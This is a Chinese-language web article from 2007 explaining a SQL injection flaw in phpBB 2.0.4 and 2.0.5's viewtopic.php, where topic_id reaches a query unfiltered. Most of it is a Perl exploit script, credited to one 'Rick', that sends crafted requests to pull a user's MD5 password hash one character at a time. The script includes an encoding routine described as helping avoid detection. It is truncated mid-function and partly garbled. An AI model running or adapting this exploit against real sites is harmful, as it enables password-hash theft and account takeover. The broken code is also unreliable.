作者:动态网站…
来源:动态网站制作指南
热度:
2007-6-6 12:56:41
好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得 "topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick提供了下面的这断测试代码:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
print $socket "Host: $remote\n\n";
while ($answer = <$socket>)
{
if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=#
{
$p .= chr ();
}
}
close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = "";
for($i=0; $i
我来说两句:
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